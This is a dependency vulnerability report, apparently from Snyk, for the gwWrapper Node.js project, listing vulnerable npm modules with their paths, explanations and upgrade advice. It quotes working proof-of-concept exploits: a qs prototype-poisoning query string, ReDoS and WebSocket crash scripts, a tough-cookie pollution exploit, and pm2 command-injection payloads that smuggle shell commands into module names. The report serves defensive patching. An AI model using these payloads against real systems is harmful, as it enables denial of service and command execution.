When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade engine.io
to version 4.0.0 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: swagger-tools@0.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-tools@0.10.4 › body-parser@1.18.2 › qs@6.5.1
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade qs
to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: zetta@1.6.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › levelup@1.3.9 › semver@5.4.1
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range
, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: zetta@1.6.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0
Overview
ws
is a WebSocket client and server implementation.
Affected versions of this package did not limit the size of an incoming payload before it was processed by default. As a result, a very large payload (over 256MB in size) could lead to a failed allocation and crash the node process - enabling a Denial of Service attack.
While 256MB may seem excessive, note that the attack is likely to be sent from another server, not an end-user computer, using data-center connection speeds. In those speeds, a payload of this size can be transmitted in seconds.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Update to version 1.1.1 or greater, which sets a default maxPayload
of 100MB.
If you cannot upgrade, apply a Snyk patch, or provide ws
with options setting the maxPayload
to an appropriate size that is smaller than 256MB.
References
high severity
- Vulnerable module: ws
- Introduced through: zetta@1.6.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS)
attacks. A specially crafted value of the Sec-WebSocket-Extensions
header that used Object.prototype
property names as extension or parameter names could be used to make a ws server crash.
PoC:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade ws
to version 1.1.5, 3.3.1 or higher.
References
high severity
- Vulnerable module: vizion
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › vizion@0.2.13Remediation: Upgrade to pm2@4.3.0.
Overview
vizion is a Git/Subversion/Mercurial repository metadata parser.
Affected versions of this package are vulnerable to Command Injection. The argument revision
can be controlled by users without any sanitization.
Remediation
Upgrade vizion
to version 2.1.0 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › shelljs@0.7.8Remediation: Upgrade to pm2@3.0.0.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS
is used to create shell scripts which may be running as root
, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS
processes via the exec
function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec()
.
Remediation
Upgrade shelljs
to version 0.8.5 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: swagger-ui@3.52.5
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-ui@3.52.5 › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location
response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch
to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: request@2.88.2 and siren-client@1.4.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › request@2.88.2
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › siren-client@1.4.0 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: request@2.88.2 and siren-client@1.4.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › siren-client@1.4.0 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: zetta@1.6.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › zetta@1.6.0 › revolt@0.9.0 › ws@0.5.0Remediation: Open PR to patch ws@0.5.0.
Overview
ws
is a simple to use websocket client, server and console for node.js.
Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A client side memory disclosure vulnerability exists in ping functionality of the ws service. When a client sends a ping request and provides an integer value as ping data, it will result in leaking an uninitialized memory buffer.
This is a result of unobstructed use of the Buffer
constructor, whose insecure default constructor increases the odds of memory leakage.
ws
's ping
function uses the default Buffer
constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw memory, potentially holding secrets, private data and code.
Proof of Concept:
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this makes the client allocate an uninitialized buffer of 50 bytes and send it to the server
client.on('pong', function (data) {
console.log('got pong')
console.log(data)
})
})
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
References
medium severity
- Vulnerable module: json5
- Introduced through: super-siren@2.0.2
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse
method , which does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5
to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: pm2
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4Remediation: Upgrade to pm2@4.3.0.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install()
method within lib/API/Modules/Modularizer.js
as an unsanitized module_name
variable. This input is eventually provided to the spawn()
function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH
command.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"
pm2.connect(function (err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})
Remediation
Upgrade pm2
to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: pm2
- Introduced through: pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4Remediation: Upgrade to pm2@4.3.0.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import()
function when tar.gz
archive is installed with a name provided as user controlled input.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"
pm2.connect(function(err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})
Remediation
Upgrade pm2
to version 4.3.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: yamljs@0.3.0 and pm2@2.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › yamljs@0.3.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › shelljs@0.7.8 › glob@7.2.3 › inflight@1.0.6
-
